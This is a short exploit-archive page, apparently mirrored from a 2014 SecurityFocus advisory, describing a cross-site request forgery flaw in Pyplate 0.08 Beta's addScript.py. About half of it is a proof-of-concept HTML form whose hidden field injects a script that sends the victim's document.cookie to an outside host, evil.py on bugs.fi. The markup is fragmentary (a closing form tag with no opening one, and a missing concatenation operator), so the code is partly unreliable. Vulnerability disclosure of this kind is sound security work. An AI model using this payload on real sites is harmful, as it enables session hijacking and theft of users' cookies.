Pyplate – ‘addScript.py’ Cross-Site Request Forgery - 体验盒子

作者： Henri Salo

日期： 2014-05-23

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

source: https://www.securityfocus.com/bid/67610/info

Pyplate is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks.

Pyplate 0.08 Beta is vulnerable; other versions may also be affected.

<html>

<body>

<input type="hidden" name="title"

value="<script>new Image().src="http://bugs.fi/evil.py?cookie=" encodeURI(document.cookie);</script>"

/>

</form>

</body>

</html>